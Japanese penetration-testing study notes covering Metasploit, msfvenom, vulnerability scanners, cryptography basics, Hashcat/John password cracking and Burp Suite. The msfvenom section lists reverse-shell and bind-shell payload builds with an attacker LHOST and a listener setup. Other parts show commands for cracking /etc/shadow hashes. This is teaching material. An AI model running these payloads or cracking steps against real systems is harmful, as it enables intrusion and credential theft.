自動でスキャンを行う場合は脆弱性スキャナと呼ばれるものを使用する。
具体的にはNessusMetasploitなどのツールがある。

自動スキャンの特徴は以下の通り。

  • 高速スキャンが行える
  • 結果を組織で共有しやすい
  • 全ての脆弱性を検出できるわけではない
  • 大量のトラフィックとログを生成する

アプリケーションやプログラムに含まれる脆弱性は以下の通り。

脆弱性説明
セキュリティ設定のミスセキュリティの設定ミスには開発者の監視による脆弱性が含まれる。例えばアプリケーションと攻撃者間のメッセージでサーバー情報が公開されるなど
アクセス制御のバイパス攻撃者が本来アクセスできないはずのアプリケーションの部分にアクセスできる場合に発生する
安全ではない逆シリアル化アプリケーション全体で送信されるデータの安全でない処理のこと
コードの注入攻撃者がアプリケーションに悪意のあるデータを入力できる場合、インジェクションの脆弱性が存在する

7.2.2. 手動による脆弱性の発見

Rapid7

Rapid7はエクスプロイトデータベースとしても機能する脆弱性研究データベース。
このサービスを使用すると、脆弱性の種類 (アプリケーションやOSなど) でフィルタリングできる。

https://www.rapid7.com/db/

Rapid7には人気のあるMetasploitツールを使用してアプリケーションを悪用するための手順が含まれている

GitHub

GitHubはソフトウェア開発者向けのコード共有/管理サービス。
セキュリティの観点ではある脆弱性のPoC (概念実証) を GitHub に保存して共有し、このコンテキストでそれをエクスプロイトデータベースとして使用できる。

https://github.com/

キーワード検索で「PoC」や「CVE」を含むように検索すると発見できる場合がある。

Searchsploit

SearchsploitはKali Linuxなどの一般的な侵入テストディストリビューションで利用できるツールでExploit-DBのオフラインコピーといえる。
アプリケーション名や脆弱性の種類で searchsploit を検索可能。

# 検索
searchsploit [検索名]
# 検索をタイトルのみに制限
searchsploit -t [タイトル]

# データベースの更新
searchsploit -u

7.3. Metasploit

Metasploitは最も広く使用されている脆弱性悪用フレームワーク
Metasploitは情報収集から脆弱性の悪用まで、侵入テスト作業のすべての段階をサポートする。

Metasploitには以下の2つのバージョンがある。

  • Metasploit Pro
    • タスクの自動化と管理を容易にする商用バージョン
    • このバージョンにはGUIが搭載
  • Metasploit Framework
    • CUIから動作するオープンソースバージョン

Metasploitフレームワークは、情報収集、スキャン、脆弱性の悪用、脆弱性の悪用の開発、脆弱性の悪用後の処理などを可能にするツールのセットといえる。
Metasploitフレームワークの主な用途は侵入テストだが、脆弱性の研究やエクスプロイトの開発にも役立つ

7.3.1. Metasploitの概念

Metasplotはmsfconsoleコマンドで対話できる。

msfconsole

またMetasplotを理解するのに必要な概念として以下のようなものがある。

  • エクスプロイト … ターゲット システムに存在する脆弱性を利用するコード。
  • 脆弱性 … ターゲット システムに影響を与える設計、コーディング、またはロジックの欠陥。脆弱性が悪用されると、機密情報が漏洩したり、攻撃者がターゲット システム上でコードを実行したりする可能性のこと
  • ペイロード …. ペイロードは、ターゲット システム上で実行されるコードのこと

Metasploitのモジュール一覧

Metasploitには付属する攻撃プログラムやツールがモジュールという形で内蔵されている。

モジュール説明
exploits脆弱性を利用してペイロードを実行できるようにするモジュール
auxiliaryスキャン/バージョン検出/ユーザ列挙/システム列挙など初期攻撃をサポートするモジュール
postパスワードの奪取、キーロガーの設置、システム内情報収集など、侵入後の攻撃を補助するモジュール
payloadsExploitの攻撃が実行した場合、直ちに攻撃を実行するコード。遠隔操作セッション確立、攻撃補助のモジュール
encodersペイロードをアルゴリズムで処理するモジュール、ペイロード隠蔽に使用
nopsNOPを生成するモジュール。NOPは何もしないアセンブリで実行ファイルの空白を埋めるのに使用
evasionアンチウィルスソフトを回避するためのモジュール

Auxiliaryモジュールの確認

Metasploitで利用できるスキャナー、クローラー、ファザーなどのサポートモジュールはauxiliary/以下にある。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 auxiliary/

Encodersモジュールの確認

エンコーダーを使用するとエクスプロイトとペイロードをエンコードできる
なおウィルス検知システムが対象システムにある場合はチェックが実施される可能性があるため、エンコーダの成功率は制限される可能性がある。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 encoders/

Evasionモジュールの確認

Evasionモジュールはウイルス対策ソフトウェアを回避するためのモジュール
これを使用することでウィルス検知システムをバイパスできる可能性がある。

/opt/metasploit-framework/embedded/framework/modules# tree -L 2 evasion/

Explotsモジュールの確認

ターゲットシステムごとにエクスプロイトが分類されている。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 exploits/

NOPSモジュールの確認

NOPはなにも行わないモジュールだが、一貫したペイロード サイズを実現するためのバッファとして使用できる

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 nops/

Payloadsモジュールの確認

ペイロードはターゲット システム上で実行されるコードのこと。
エクスプロイトはターゲットシステムの脆弱性を利用しますが、望ましい結果を達成するにはペイロードが必要となる。

またペイロードは以下の動作を行う。

  • シェルの取得
  • ターゲットシステムへのマルウェアまたはバックドアのロード
  • コマンドの実行

なおペネトレーションテストでシステム侵入が行える安全なPoCの使用と報告ではターゲットのcalc.exe(電卓)が起動できることを示すのが一般的である。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 payloads/
ディレクトリ説明
adapters/単一のペイロードをラップして異なる形式に変換する
singles/実行するために追加のコンポーネントをダウンロードする必要のない自己完結型ペイロードがある
stagers/Metasploitとターゲットシステム間の接続チャネルのセットアップを担当
stages/ステージャーによってダウンロードされる

Postモジュールの確認

Postモジュールは侵入テストプロセスの最終段階であるエクスプロイト後の後処理において役立つモジュール。

/opt/metasploit-framework/embedded/framework/modules# tree -L 1 post/

7.3.2. Msfconsole

msfconsoleはmetasploitと対話できるコマンド。

msfconsole

7.3.3. モジュールの操作方法

コマンドプロンプトのモード

Metasploitにはコマンドプロンプトのモードがいくつかある

  • msf6 > … msfconsoleプロンプトモード * モジュールの確認や選択などが行えるモード
  • msf6 exploit(windows/smb/ms17_010_eternalblue) > … コンテキストコマンドプロンプトモード * モジュールを使用することを決定し、setコマンドを使用してそれを選択すると表示される * ここではコンテキスト固有のコマンドを使用できる
  • meterpreter > … Meterpreterプロンプトモード * このモードはMeterpreterエージェントがターゲットシステムにロードされ、再び接続されたことを意味する * ここで Meterpreter 固有のコマンドを使用できる

msfconcoleの操作方法

使用する可能性のあるmsfconsoleのサブコマンドを以下に記載する。

# ヘルプの表示
msf6 > help [サブコマンド]
# コマンド履歴の表示
msf6 > history
# モジュールの表示
msf6 > show < exploits | auxiliary | payload | encoders >
# モジュールの検索
msf6 > search [名称(cveなど)]
msf6 > search type:payload platform:linux
# モジュールの情報確認
msf6 > info [モジュールパス]
# モジュールの使用の決定
msf6 > use [モジュールパス]

コンテキストコマンドプロンプトの使用

以下コマンドを使用して設定/攻撃を行う。

# エクスプロイトの使用
msf6 > use exploit/[エクスプロイト]
# 実行に必要な必要なパラメータをリスト表示
msf6 exploit([エクスプロイト]) > show options
# オプションのパラメータを設定
msf6 exploit([エクスプロイト]) > set パラメータ名 値
# オプションのパラメータ設定(すべてのモジュール共通)
msf6 exploit([エクスプロイト]) > setg パラメータ名 値
# 設定したパラメータの全削除
msf6 exploit([エクスプロイト]) > [unset|unsetg] all
# 実行に必要な必要なペイロードをリスト表示
msf6 exploit([エクスプロイト]) > show payloads
# 設定したペイロードの削除
msf6 exploit([エクスプロイト]) > unset payload
# エクスプロイトの実行ができるか確認(脆弱性有無の確認)
msf6 exploit([エクスプロイト]) > check
# エクスプロイトの実行
msf6 exploit([エクスプロイト]) > exploit -z
# モジュール情報の表示
msf6 exploit([エクスプロイト]) > info
# コンテキストから離れる
msf6 exploit([エクスプロイト]) > back
msf6 > 

モジュールの使用手順は以下の通り。

  1. msfconsoleプロンプトモードでuse [モジュール]を使用しコンテキストコマンドプロンプトモードに入る
  2. show optionsでパラメータを確認しながらset パラメータ名 値で必要最低限の値を設定する
  3. exploit -zコマンドでエクスプロイトの実行をする
  4. Session N created in the background.と表示されればターゲット システムと Metasploit の間にセッション生成完了
  5. backgroundコマンドでmsfconsole プロンプトに戻る(sessionsコマンドで接続中セッションの確認可能)
  6. sessions -i [番号]でセッションに対話する(sessions -hコマンドでセッションのヘルプ)

Metasploitデータベースの利用

Metasploitデータベースは複数のターゲットが存在する場合にプロジェクト管理を簡素化し、パラメーター値を設定する際の混乱を避けるための機能
使用のための準備方法は以下の通り。

  1. PostgreSQLデータベースの起動(systemctl start postgresql)
  2. Metasploit データベースを初期化(msfdb init)
  3. msfconsoleでMetasploitの起動しdb_statusでステータス確認
  4. workspaceコマンドで使用するワークスペースを確認可能(-aで追加,-dで削除、-hでヘルプ)
  5. ワークスペースの選択はworkspace [ワークスペース名]で行う

データベースを利用したワークフロー例は以下の通り

  1. use auxiliary/scanner/smb/smb_ms17_010
  2. hosts -RでRHOSTSを設定
  3. show optionsset [パラメータ] [値]で設定
  4. exploitで実行

Metasploitのセッション切り替え

backgroundコマンドで現在のセッションがバックグラウンドに回される。
またsession -iコマンドでセッションの確認。session -i [番号]でセッションに戻れる。

リバースシェルの待ち受け

Metasploitでリバースシェルを待ち受けるにはexploit/multi/handlerを使用する。 このモジュールはバインドシェルでターゲット端末に接続したり、リバースシェルの接続待ち受けに使用される。

msf6 > use exploit/multi/handler
msf6 >> set payload <ペイロード>
msf6 >> set LHOST <攻撃機のIP>
msf6 >> set LPORT <ポート番号>

show optionsで設定を確認し、exploitコマンドで待ち受け(実行)できる。

7.3.4. Msfvenom

Msfvenomはペイロードを生成できるもの。
Msfvenom を使用すると、Metasploit フレームワークで利用可能なすべてのペイロードにアクセスできるようになる。

Msfvenom を使用すると様々な形式 (PHP、exe、dll、elf など) および様々なターゲット システム (Apple、Windows、Android、Linux など) 用のペイロードを作成できる。

msfvenom -l payloads 

よく使うペイロード

以下ペイロードはpayload以下にある。

ペイロード説明
windows/meterpreter/reverse_tcpwindows用リバースシェルペイロード
linux/x86/meterpreter/reverse_tcpx86アーキテクチャのLinuxのリバースシェルペイロード
windows/meterpreter/bind_tcpwindows用バインドシェルペイロード
linux/x86/meterpreter/bind_tcpx86アーキテクチャのLinuxのバインドシェルペイロード
windows/meterpreter/reverse_httpsWindowsシステムにバックドアを設置するためのペイロード
windows/shell_reverse_tcpWindowsシステムにバックドアを設置するためのペイロード
php/meterpreter/reverse_tcpWebアプリケーションやWebサーバーにバックドアを設置
php/meterpreter/jsp_shell_reverse_tcpWebアプリケーションやWebサーバーにバックドアを設置

ペイロードの作成

基盤となるペイロードをsearch type:payload~などで見つけたら、info <Payloadパス>でパラメータを確認し設定を行う。
なお作成したペイロードはターゲットで実行する必要がある。つまりターゲットにアクセス(簡易WEBサーバなどを立てて)してwgetなどでDLさせる。

msfvenom --payload <Payloads以下のペイロードパス> --<パラメータ> .... 

よく使うパラメータは以下の通り。

パラメータ説明
–payloadペイロードのパス
–platformペイロードが実行されるプラットフォーム(Linux,windowsなど)
–archペイロードが実行されるアーキテクチャ(x86など)
–format出力ファイル形式(elfなど)
–out出力ファイルのパス(絶対パス)
LHOST接続先IPアドレスの指定
LPORT接続先が待ち受けているポート番号を指定する

ペイロードの実行

作成したペイロードはターゲット端末で以下のように実行する。

./<ペイロード名>

Metapreterセッション

MetapreterセッションはMetaSploitペイロードとMetasploitで確立されたセッションを指す。
各権限でのLinuxコマンドが使用できるようになる。

よく使うシェルペイロードの作成

# =================
# Linux
# =================
# Binary
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f elf > shell86.bin
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f elf > shell64.bin
msfvenom -p linux/x86/shell_bind_tcp LPORT=<リッスンポート> -f elf > bind86.bin
msfvenom -p linux/x64/shell_bind_tcp LPORT=<リッスンポート> -f elf > bind64.bin
# Python
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f py
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f py
msfvenom -p linux/x86/shell_bind_tcp LPORT=<リッスンポート> -f py
msfvenom -p linux/x64/shell_bind_tcp LPORT=<リッスンポート> -f py
# =================
# Windows
# =================
# Binary
msfvenom -p windows/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f exe > shell86.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<サーバIP> LPORT=<リッスンポート> -f exe > shell64.exe
msfvenom -p windows/windows/shell_bind_tcp LPORT=<リッスンポート> -f exe > bind86.exe
msfvenom -p windows/x64/shell_bind_tcp LPORT=<リッスンポート> -f exe > bind64.exe

7.4. 脆弱性評価ツール

7.4.1. Legion

半自動のペネトレーションテストフレームワーク。
検出、偵察、脆弱性評価タスクを実行できる。

起動方法

Kali Linuxの場合以下方法で起動をする。

「Kali アイコン」=>「Information Gatahering」=>「Vulnerability Analysis」=>「Legion (root)」

Scan/Bruteセクション

Legionの入力セクションにはScanとBruteの2つがある。

  • Scanセクション
    • ホスト検出
    • 情報収集
    • 脆弱性の検出
  • Bruteセクション
    • ブルートフォースアタック

Easy/Hardセクション

ScanタブのHostsセクションではIP,ホスト名などを入力できる。
またEasy/Hardのモード選択が行われる。

  • Easyモード
    • Nmap機能
    • パフォーマンス機能
  • Hardモード
    • Port Scan Options
    • Host Discovery Options
    • Additional arguments

7.4.2. Nessus

Nessusはペンテストプラットフォーム。

起動方法

# 起動
sudo /bin/systemctl start nessusd.service
# 停止
sudo /bin/systemctl stop nessusd.service

https://localhost:8834/にアクセスする。

Nessusによる基本的な脆弱性スキャン

  1. MyScansページが表示されたら「New scan」または「Creare a new scan」をクリック
  2. ScanTemplatesページが表示されたら「Basic Network Scan」をクリック
  3. NewScan/BasicNetworkScanページのSettingsタブのNameフィールドに任意の意名前を設定
  4. TargetsフィールドにはターゲットのIPアドレスを入力しSaveをクリック
  5. MyScansページでMoreボタンをクリックし、Launchを選択するとスキャンが開始される

Nessusによる詳細な脆弱性スキャン

  1. MyScansページが表示されたら「New scan」または「Creare a new scan」をクリック
  2. ScanTemplatesページが表示されたら「Advanced Scan」をクリック
  3. NewScan/BasicNetworkScanページのSettingsタブのNameフィールドに任意の意名前を設定
  4. TargetsフィールドにはターゲットのIPアドレスを入力しSaveをクリック
  5. Discovery > Host Discovery にて検出方法を設定できる
  6. Discovery > Port Scanning を選択しオプションを設定できる
  7. ASSESMENT > General を選択し「Perform thorough tests…」をONにする
  8. ASSESMENT > Brute Forceを選択し、Oracle DatabaseのTest default accounts(slow)とHydraのAlways enable Hydra(slow)をONにする
  9. ASSESMENT > Web Application を選択しScan Web applications, Follow dynamically generated pagesをONにする
  10. MyScansページでMoreボタンをクリックし、Launchを選択するとスキャンが開始される

7.4.3. GVM

GVMはOpenVASの後継ツールで脆弱性評価に使用できるフレームワーク。
使用環境にあるシステムを調べてサービスと脆弱性を確認する。

インストールとセットアップ

sudo apt install gvm -y

その他のコマンドは以下の通り。

# パスワードのリセット
sudo -u _gvm gvmd --user=admin --new-password=new_password
# GVMが正常にセットアップされているか確認
sudo gvm-check-setup
# 正常にセットアップされている場合は以下コマンドで入力をプロセス停止
sudo gvm-stop
# フィードの更新
sudo greenbone-feed-sync

起動方法

sudo gvm-start

GVMによる基本的な脆弱性スキャン

  1. 「Kali アイコン」=>「Vulnerability Analysis」=>「gvm start」で起動
  2. ユーザ名とパスワードの入力を行いSign Inをクリック
  3. Scans > Tasksをクリック
  4. Task WizardをポイントにTask Wizardを選択し、IP address or hostnameにターゲットのIPアドレスを入力
  5. Start Scanをクリックするとスキャンが開始される
  6. Resultsタブをクリックすると脆弱性のリストが表示される
  7. GVMの終了は 人型アイコン > Log Outを選択でWEBUIの終了が行え、sudo gvm-stopでGVMを完全終了できる

GVMによる詳細な脆弱性スキャン

カスタムスキャンは以下のように行える。

  1. 「Kali アイコン」=>「Vulnerability Analysis」=>「gvm start」で起動
  2. ユーザ名とパスワードの入力を行いSign Inをクリック
  3. Configuration > Targets を選択し、Clone Targetをクリックしクローンを作成する
  4. Edit Targetをクリックし編集する
  5. この段階で資格情報(IDやパスワード)が判明していれば深いレベルの評価も行える
  6. Configuration > Credentials を選択しNew Credentialで入力できる
  7. Configuration > Scan Configsを選択でスキャン構成を確認する
  8. Full and fastの右端のActions列のClone Scan Configをクリックしスキャン構成詳細を見る
  9. Scans > Taskを選択し、New Taskをさらに選択、Nameに任意のタスク名を入力しScan TragetsとScan Configで設定を選択する
  10. Saveボタンを押し、Tasks画面の下部に表示されるActions列で右やじるアイコンを押すとスキャンが開始される

7.4.4. その他の脆弱性スキャンツール

  • Nexpose
  • OpenVAS
  • QualyGuard

8.8 - 8. 暗号の解読と解析

暗号に関する基礎知識およびHashCat/Johnの使い方

8.1. 暗号化の基礎

暗号化は機密性を保護し、整合性を確保し、信頼性を確保するために使用される。

8.1.1. 暗号化の種類

対称暗号化

対称暗号化では同じキーを使用してデータの暗号化と復号化が行われる暗号。
対称暗号化の例としてはDESやAESがある。
このアルゴリズムは非対称暗号化よりも高速である傾向があり、それより小さなキーを使用する

非対称暗号化

非対称暗号化では2つのキーペアを利用して暗号化と復号化が行われる暗号。
キーのペアの1つは暗号化に使用され、もう1つは復号化に使用される。
例としては、RSA や楕円曲線暗号がある。

通常これらのキーは公開鍵秘密鍵と呼ばれる。
秘密キーで暗号化されたデータは公開キーで復号化でき、その逆も可能となる。
秘密キーは非公開に保つ必要がある。

非対称暗号化は速度が遅くなり、より大きなキーを使用する傾向がある。
また RSA は通常 2048 ~ 4096 ビットのキーを使用する。

8.1.2. RSA

RSAの仕組みは大きな数の因数を計算するという数学的な性質に基づいている。
2つの素数を掛け合わせると、たとえば 17*23 = 391 となりますが、2 つの素数を掛け合わせて 14351 (参考までに 113x127) を作るのは非常に困難となる。

RSAの解析ツールは以下の通り。

8.1.4. デジタル署名と証明書

デジタル署名

デジタル署名はファイルの信頼性を証明し誰が作成または変更したかを証明する方法のこと。
電子的な文書やデータに対して、送信者の認証やデータの改ざんの有無を確認するための手段といえる。

非対称暗号化を使用すると、秘密キーで署名を生成し、公開キーを使用して署名を検証できる。

デジタル証明書

デジタル証明書は公開鍵暗号システムで使用される公開鍵を含み、その公開鍵が本物のものであることを証明する電子的な文書のこと。
デジタル証明書は信頼できる第三者機関(証明書機関、Certificate Authority:CA)によって署名され、信頼性を提供する。

8.1.5. SSH認証

SSH認証はユーザーがサーバーにアクセスする際にそのユーザーが誰であるかをSSHを利用して確認するための仕組み

8.1.6. DH法

DH法(Diffie-Hellman鍵共有法)は共通鍵暗号方式における鍵の共有方法の1つ。 DH法は自身で設定した秘密鍵と、他者に知られてもいい公開鍵を設定し、それらを組み合わせて計算した数値の余りの値を共有して共通鍵を生み出す仕組みといえる。

他者に傍受される危険のある通信経路でも使えるのが特徴の1つ。

8.1.7. PGP/GPG

PGP

PGP(Pretty Good Privacy)はファイルの暗号化やデジタル署名の実行などの暗号化を実装するソフトウェアのこと。

GPG

GNUプロジェクトによるPGPのオープンソース実装のこと。
PGP/GPG を使用すると、SSH 秘密キーと同様の方法で秘密キーをパスフレーズで保護できる。

8.2. ハッシュ

8.2.1. ハッシュ関数

ハッシュ関数はある値からダイジェストを作成するアルゴリズムのこと。
出力されるダイジェストは固定サイズとなる。

ハッシュ関数から出力した値から入力した値に戻すことはできない
ハッシュはパスワードの検証などに頻繁に使用される。

有名なハッシュ関数に種類は以下の通り。

  • MD5 : 128bitのハッシュを生成する関数 (脆弱性が報告済み)
  • SHA-1 : 160bitのハッシュを生成する関数 (脆弱性がある)
  • SHA-2 : SHA-1の改良版で512bitまで生成できるハッシュ関数

ハッシュの衝突

ハッシュの衝突は2つの異なる入力が同じ出力を与える場合に発生する。
現在、MD5(16Byte)とSHA1(20Byte)はハッシュの衝突が多いハッシュ化アルゴリズムのため安全ではない
(SHA1に関してはGPUを使用して非常に高速に計算できてしまう問題)

8.2.2. ハッシュ化の用途

ハッシュはセキュリティにおける2つの主な目的に使用される。
1つ目はデータの整合性を検証するため(詳細は後述)、2つ目はパスワードを検証するために使用される。

レインボーテーブル

レインボーテーブルはハッシュから平文へのルックアップを行うためのテーブルソルトを付加していないハッシュのパスワード解析などに使用される

crackstationのようなサービスは巨大なレインボーテーブルを保持している。

レインボーテーブルによる攻撃を防ぐにはハッシュ化される前にパスワードの先頭または末尾にソルトを追加する。

8.2.3. パスワードハッシュの解析

それぞれのパスワードハッシュの特徴は以下の通り。
プレフィックスはハッシュの生成に使用されるハッシュアルゴリズムを示す。

  • Unix形式のパスワードハッシュ * プレフィックスが付いている * 標準形式:$format$rounds$salt$hash
  • Windowsパスワードハッシュ * md4の一種であるNTLMを使用してハッシュされる * パスワードハッシュはSAMに保存される

NLTM(Windows New Technology LAN Manager):ユーザのIDを認証し、ユーザーのアクティビティの整合性と機密性を保護するためにMicrosoftが提供する一連のセキュリティプロトコル

なおUnixで使用されるパスワードのプレフィックスは以下の通り。

プレフィックスアルゴリズム
$1$md5crypt、Cisco のものおよび古い Linux/Unix システムで使用される
$2$、$2a$、$2b$、$2x$、$2y$Bcrypt (Web アプリケーションで人気)
$6$sha512crypt (ほとんどの Linux/Unix システムのデフォルト)

多くのハッシュ形式とパスワード プレフィックスを見つけるのにコチラのサイトが役に立つ。

8.2.4. パスワードのクラッキング

ソルトのないハッシュの解読はレインボーテーブルの利用で可能である。
ソルトが含まれている場合は、ソルトを追加しターゲット ハッシュと比較することによって、ハッシュを解読する必要がある。

Hashcat やJohn the Ripperなどのツールで解析を行う。

Hashの解析にはHash AnalayzerHashcatなどが役に立つ。

8.2.5. 整合性チェックのハッシュ化

整合性チェック

ハッシュを使用するとファイルが変更されていないことを確認できる
ファイルが変更されていないことを確認したり、ファイルが正しくダウンロードされたことを確認したりするために使用できる。

HMAC

HMACは暗号化ハッシュ関数を使用してデータの信頼性と整合性を検証する方法

8.3. パスワードの解析

8.3.1. パスワード解析の種類

パスワード解析には大きく分けて2種類がある。

オンラインパスワード解析

パスワード認証を備えたサービスに直接アクセスしてパスワード解析を行うタイプのパスワードクラックのこと。
Hydraなどのツールでのパスワードクラックがこれにあたる。

オフラインパスワード解析

ネットワークを介さずローカルのマシン内でパスワード解析を試みるタイプのパスワードクラックのこと。
John the ripperなどのパスワードクラックがこれにあたる。

なお解析には暗号化されたパスワードが記されたファイル暗号化した認証場を含むパケットファイルを用意する必要がある。
無線LANのパスワード解析にもこのタイプのツールが役に立つ。

8.3.2. パスワード解析の分類

パスワード解析の代表的な方法は以下の通りとなる。

  • 総当たり攻撃
  • 辞書攻撃
    • リスト攻撃
    • コンビネーション攻撃
    • ハイブリッド辞書攻撃
    • ルールベース辞書攻撃

8.3.3. 辞書ファイル

Kali Linux搭載辞書ファイル

パス説明
/usr/share/wordlists/rockyou.txt定番パスワード

辞書ファイル提供サイト

URL説明
https://www.openwall.com/wordlists/Openwallワードリストコレクション
https:/github.com/danielmiessler/SecListsSecLists

8.4. 暗号/パスワードの解析

8.4.1. Hashcat

パスワードハッシュのクラックや解析に特化したツール。
ブルートフォース(総当たり)攻撃、辞書攻撃、マスク攻撃に対応している。
以下のケースでの解析に向いている。

  • ハッシュの種類が明白
  • OSの割り当てメモリが4GB以上
  • GPUを使用して解析できる

リカバリに成功したハッシュとパスワードはhashcat.potfileに記録される。

hashcat [オプション]... <ハッシュファイル> <ワードリストファイル>
-oオプション(モード)説明
0Straight ←辞書攻撃
1Combination
3Brute-force ←ブルートフォース
6Hybrid Wordlist + Mask
7Hybrid Mask + Wordlist
ハッシュアルゴリズムオプション
MD5-m 0
SHA1-m 100
NTLM0m 1000
SHA-256-m 1400
DES-m 1500
SHA-512-m 1700
LM-m 3000
bcrypt-m 3200
MS Office-m 9400-9820
PDF-m 10400-10700
7zip-m 11600
keepass-m 13400
BitLocker-m 22100

アルゴリズムの検索は以下で行うと良い

hashcat -h | grep "アルゴリズム"

マスクの使用

マスクを使うと文字列+数字のようなパスワードフォーマットを指定することができる。

マスクを指定する際にシングルクォートが必要かどうかはOSによって異なり、Unix系OSでは 「?」 をエスケープするためにシングルクォートで囲む必要がある。

マスク形式マスクの意味マスクに適用される内容
?lアルファベット小文字abcdefghijklmnopqrstuvwxyz
?uアルファベット大文字ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d数字123456789
?s記号!"#$%&’()*+,-./:;<=>?@[]^_`{
?a?l?u?d?sと同じすべての文字列
?b16進数0x00 - 0xff

マスクの長さを指定する(-i, –increment)

マスクの長さを指定したい場合に使う。

hashcat -m 1500 -a 3 hash.txt --increment '?d?d?d?d'

hashcat -m 1500 -a 3 hash.txt --increment --increment-min 2 --increment-max 4 '?d?d?d?d'

hashcat -m 1500 -a 3 hash.txt --increment --increment-min 7 --increment-max 8 '?a?a?a?a?a?a?a?a'

8.4.2. John The Ripper

John the Ripperはパスワードクラックツール。非常に多種多様なパスワードクラックに対応している。
以下のケースでの解析に向いている。

  • ハッシュの種類が不明
  • OSの割り当て可能メモリが少ない
john [オプション] [ファイルパス]

john --wordlist=[ワードリスト] [ファイルパス]

# 使用できるフォーマットの確認
john --list=formats | grep -iF "フォーマット"

# 解析中のレコードファイルの削除
rm -rf ~/.john
オプション説明
–format=特定の形式のハッシュを与えていること、およびそれを解読するために次の形式を使用する

Johnには、与えられているハッシュの種類を検出し、それを解読するための適切なルールと形式を選択する機能が組み込まれている。
なおハッシュの種類を検出できない場合は他のツールを使用してハッシュを識別し、特定の形式を使用するように john を設定できる。

Windowsハッシュのクラッキング

NThashは最新のWindowsOSがユーザーパスワードとサービスパスワードを保存するハッシュ形式のこと。
一般に「NTLM」とも呼ばれる。

NTHash/NTLMハッシュは、Mimikatzなどのツールを使用してWindowsマシン上のSAMデータベースをダンプするか、Active Directory データベース NTDS.dit から取得できる。

/etc/shadowからのハッシュのクラッキング

/etc/shadowファイルはパスワードハッシュが保存されるLinuxマシン上のファイルのこと。
最後のパスワード変更日やパスワードの有効期限情報など、他の情報も保存される。

システムのユーザーまたはユーザーアカウントごとに、1 行に 1 つのエントリが含まれており、通常、このファイルには root ユーザーのみがアクセスできる。
そのたmハッシュを入手するには十分な権限が必要となるが、権限を持っている場合は、一部のハッシュを解読できる可能性がある。

Johnで/etc/shadowパスワードを解読するには/etc/passwdファイルと結合する必要がある。 これを行うには、John ツール スイートに組み込まれているunshadowというツールを使用する。

unshadow [ターゲットマシンから取得した /etc/passwd ファイルのコピーを含むファイル] [ターゲットマシンから取得した /etc/shadow ファイルのコピーを含むファイル]

上記のunshadowからの出力は John に直接フィードすることができる。

john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt unshadowed.txt

シングルクラックモード

シングルクラックモードではJohn はユーザー名で提供された情報のみを使用して、ユーザー名に含まれる文字と数字をわずかに変更することで、可能なパスワードを発見的に見つけ出す。

john --single --format=[format] [path to file]

なおシングルクラックモードでハッシュをクラックしている場合は、どのデータからワードリストを作成するかを理解できるように、john に供給するハッシュのファイル形式を変更する必要がある。

# 例
1efee03cdcb96d90ad48ccc7b8666033

# 上記を下記に
mike:1efee03cdcb96d90ad48ccc7b8666033

9 - セキュリティツール基礎

ペネトレーション基礎に書ききれなかった操作が複雑なセキュリティツールに関するメモ

9.1 - 1. BurpSuiteの使い方

Webアプリ調査フレームワークのBurpの使い方メモ

1.1. BurpSuiteの基本知識

1.1.1. BurpSuiteとは

Burp SuiteはWebアプリケーション侵入テストを実施するために機能するように設計されたJavaベースのフレームワーク
Burp SuiteはブラウザとWebサーバ間のすべての HTTP/HTTPS トラフィックをキャプチャして操作できるようにする。 Webリクエストがターゲットサーバーに到達する前に傍受、表示、変更したり、ブラウザが受信する前に応答を操作したりできる機能がシステムのコアとなる。

1.1.2. BurpSuite Community Editionで提供される機能

Burp Suiteの主な機能を提示する。

  • Proxy * Burpプロキシにより、Web アプリケーションとの対話中に、リクエストと応答の傍受と変更が可能となる
  • Repeater * リピーターを使用すると、同じリクエストを複数回キャプチャ、変更、再送信できる。この機能は、試行錯誤を通じてペイロードを作成する場合 (SQLi - 構造化照会言語インジェクションなど)、またはエンドポイントの機能の脆弱性をテストする場合に役立つ
  • Intruder * Burp Suite Community にはレート制限があるが、intruderではエンドポイントにリクエストをスプレーすることができる。これは、ブルートフォース攻撃やエンドポイントのファジングによく利用される
  • Decoder * Decoderはキャプチャした情報をデコードしたり、ペイロードをターゲットに送信する前にエンコードしたりできます。この目的のために代替サービスが存在しますが、Burp Suite 内で Decoder を活用すると非常に効率的になる。
  • Comparer * Comparer を使用すると、ワード レベルまたはバイトレベルで2つのデータを比較できる。Burp Suiteに限定されたものではないが、単一のキーボード ショートカットを使用して、潜在的に大規模なデータ セグメントを比較ツールに直接送信できる機能により、プロセスが大幅に高速化される。
  • Sequencer * シーケンサは通常、セッションCookie値やその他のランダムに生成されたとされるデータなどのトークンのランダム性を評価するときに使用されます。これらの値の生成に使用されるアルゴリズムに安全なランダム性が欠けている場合、壊滅的な攻撃が行える可能性がある。

Burp Suiteには拡張機能がありBurp Suite Extenderモジュールと呼ばれ、それらを使用するとフレームワークへの拡張機能の迅速かつ簡単なロードが可能になり、BApp Storeとして知られるマーケットプレイスではサードパーティ モジュールのダウンロードが可能となっている。

1.1.3. BurpSuiteのUI

ダッシュボード

Burpダッシュボードは4つの象限に分割されており、左上から反時計回りにラベルが付けられている。

  • Tasks … アプリケーションの使用中にBurp Suiteが実行するバックグラウンドタスクを定義することができる。Burp Suite Community では、アクセスしたページを自動的に記録するデフォルトの「ライブ パッシブ クロール」タスクがあり、このモジュールの目的には十分となる。Burp Suite Professional では、オンデマンド スキャンなどの追加機能が提供されている。
  • Event Log … イベントログにはプロキシの開始など、Burp Suiteによって実行されたアクションに関する情報や、Burp を介して行われた接続に関する詳細が表示される。
  • Issue Activity … このセクションは Burp Suite Professional に固有のものである。自動スキャナーによって識別された脆弱性が表示され、重大度によってランク付けされ、脆弱性の確実性に基づいてフィルタリングすることができる。
